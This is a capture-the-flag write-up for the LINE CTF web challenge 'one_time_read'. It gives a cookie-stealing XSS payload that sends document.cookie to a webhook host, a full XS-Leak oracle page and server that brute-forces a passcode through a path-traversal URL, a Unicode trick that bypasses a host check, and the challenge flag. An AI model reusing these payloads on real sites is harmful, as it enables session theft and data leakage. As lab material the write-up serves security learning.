- CTFtime: https://ctftime.org/event/2119
- 8 solves / 305 points
noteId
leak:document.cookie
from a same-site XSSpassCode
leak: XS-Leak by an oracle to detect HTTP status 200/404 with a LFI vulnerability- My oracle uses
<object>
and fallbacks.
- My oracle uses
㎳g.line.ctf
instead ofmsg.line.ctf
If you report the following URL, you can get noteId
from the cookie:
"http://bot.line.ctf/?error=" + encodeURIComponent(`<svg><svg onload="location = 'https://webhook.site/xxxxx?' + document.cookie">`)
There is a misconfiguration in docker-compose.yml
:
services:
web:
container_name: one_time_read_web
build:
context: ./web
environment:
- DOMAIN_SUFFIX=${DOMAIN_SUFFIX}
- BUSSINESS_NAME=${BUSINESS_NAME}
- BOT_NAME=${BOT_NAME}
networks:
- one_time_read_network
# ... snip ...
BUSSINESS_NAME
is a typo of BUSINESS_NAME
.
give-player/web/server.js
:
const BUSINESS_NAME = process.env.BUSINESS_NAME || '';
const DOMAIN_SUFFIX = process.env.DOMAIN_SUFFIX || '';
const DOMAIN = BUSINESS_NAME + DOMAIN_SUFFIX;
/* ...snip... */
res.cookie('noteId', noteId, {
domain: DOMAIN,
httpOnly: false
});
Then, the DOMAIN
is not msg.line.ctf
but .line.ctf
and the cookie can also be accessed from a same-site bot.line.ctf
.
const fastify = require("fastify")();
const path = require("node:path");
fastify.register(require("@fastify/static"), {
root: path.join(__dirname, "public"),
prefix: "/",
});
fastify.post("/log", async (req, reply) => {
console.log("log:", req.body);
return "";
});
fastify.get("/detect404", async (req, reply) => {
const { url } = req.query;
const params = new URL(url).searchParams;
console.log({ params });
return "";
});
fastify.listen({ port: 8080 }, (err, address) => {
if (err) throw err;
});
leak.html
:
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"></script>
</head>
<body>
<script>
const BASE_URL = "http://msg.line.ctf";
const params = new URLSearchParams(location.search);
const noteId = params.get("noteId");
const offset = parseInt(params.get("offset"));
const limit = parseInt(params.get("limit"));
const passCodes = [];
const chars = "LINECTF";
const emojis = [">.<", ">,<"];
for (let i = 0; i < chars.length ** 4; i++) {
let i2 = i;
let prefix = "";
for (let j = 0; j < 4; j++) {
prefix += chars[i2 % chars.length];
i2 = (i2 / chars.length) | 0;
}
passCodes.push(prefix + emojis[0], prefix + emojis[1]);
}
const md5 = (x) => CryptoJS.MD5(x).toString();
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const check = (passCodes) => {
const reportUrl = `${location.origin}/detect404?url=${encodeURIComponent(
location.href
)}`;
// ref. https://book.hacktricks.xyz/pentesting-web/xs-search#onload-onerror
let html = "";
for (const passCode of passCodes) {
const filename = md5(passCode).substring(10);
const url = `${BASE_URL}/public/%2e%2e%2fnotes/${noteId}/${filename}`;
html += `<object data="${url}">`;
}
html += `<object data="${reportUrl}"></object>`;
for (const passCode of passCodes) {
html += `</object>`;
}
document.body.innerHTML += html;
};
const main = () => {
navigator.sendBeacon(`${location.origin}/log`, `begin: ${params}`);
setTimeout(() => {
navigator.sendBeacon(`${location.origin}/log`, `end: ${params}`);
}, 22000);
check(passCodes.slice(offset, offset + limit));
};
main();
</script>
</body>
If you report the following URL, you can judge if or not the passCode set (offset: 400, limit: 200
) includes the bot's passCode:
"http://bot.line.ctf/?error=" + encodeURIComponent(`<meta http-equiv="Refresh" content="0; URL=${"http://attacker.example.com/leak.html?" + new URLSearchParams({ noteId: "78f42911-767b-42b5-8e78-d6963b34c73e", offset: "400", limit: "200" })}">`)
If you report the following URL, you can get a flag:
"http://㎳g.line.ctf/read?" + new URLSearchParams({ passCode: "NLCN>.<", noteId: "78f42911-767b-42b5-8e78-d6963b34c73e", next: "https://webhook.site/xxxxx"})
I used the ㎳
character (U+33B3) to bypass the following check in give-player/bot/server.js
:
let regex = new RegExp(`^.*${process.env.BUSINESS_NAME.substring(1)}.*$`, "gi");
if (!host.endsWith(process.env.DOMAIN_SUFFIX) || host.match(regex)) {
return res.redirect(`/?error=${encodeURIComponent('Forbidden host')}`);
}
LINECTF{998c14a3e9e01fceb81b2411030d5205}